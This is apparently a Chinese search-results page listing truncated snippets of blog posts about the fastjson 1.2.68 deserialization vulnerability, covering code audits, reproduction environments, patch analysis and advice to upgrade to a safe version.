  • 主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable 还有就是Java代码审计——fastjson 1.2.68 反序列化漏洞 SafeFileOutputStream文件操作 0x01 环境 maven <dependency> <groupId&...
  • 主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable 看了这个poc之后,就一直纠结,为啥只有openjdk >= 11才可以用,最后在调试+看了大部分文章之后才终于明白 0x01 环境 这里需要准备两个...
  • 代码审计-fastjson1.2.68分析

    千次阅读 2022-03-07 14:57:32
    1.2.68有safeMode,但是默认不是开启的,所以还是有风险 分析1 根据网上信息的描述,这次问题点主要是在checkAutoType参数期望类这个地方 看看哪些地方会调用checkAutoType方法并使用到期望类这个参数 发现...
  • 2.修改fastjson 的安全版本(我升级了1.2.7版本) 3.编译构建(mvn -B clean package -Dmaven.test.skip=true -Dautoconfig.skip) 4.替换对应的canal相关jar包 5.启动服务,收工! 踩坑记录: 服务启动报错,...
  • 文章目录前言 前言 本文是对fastjson高危漏洞的一次整理,包括漏洞调试、PoC构造和补丁分析。 上一篇传送门:Fastjson反序列化高危漏洞系列-part1:1.2.x — 1.2.47
  • 更新说明 fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,...=1.2.68 fastjson sec版本 <= sec9 android版本不受此漏洞影响 解决办法 升级至最新版本1.2.74 1.2.74更新说明 Issues 修复序列化时B
  • 0x01漏洞介绍 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛...Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有 0x03漏洞复现 下面以Fastjson 1.2.47 为例子,因为vulhub有现成的环境十分方便
  • 1.2.24可参考:1.2.24fastjson 1.2.25-1.2.41 可参考:1.2.25 1.2.25-1.2.42 可参考:1.2.42 这篇就单纯划水~ 0x01 正文 在1.2.43中,修复了LL,但是又有新的东西可以利用,因为在loadclass中还会去处理"[“那么我们...
  • 三、参考考链接 https://b1ue.cn/archives/348.html https://daybr4ak.github.io/2020/07/20/fastjson%201.6.68%20autotype%20bypass/ 往期推荐 音效摸鱼还不够爽?试试IDE里打几盘魂斗罗? 3折购书优惠码限时抢,...
  • 最近因为fastjson又发现了漏洞,应安全要求把框架升级到最新版 没想到没过几天有个接口调不通了,一看日志,堆栈溢出 按理来说数据量也不大,怎么会溢出呢?于是去跟了代码 发现接口返回定义的是一个MAP,里面嵌套了...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 885
精华内容 354
关键字:

fastjson1.2.68漏洞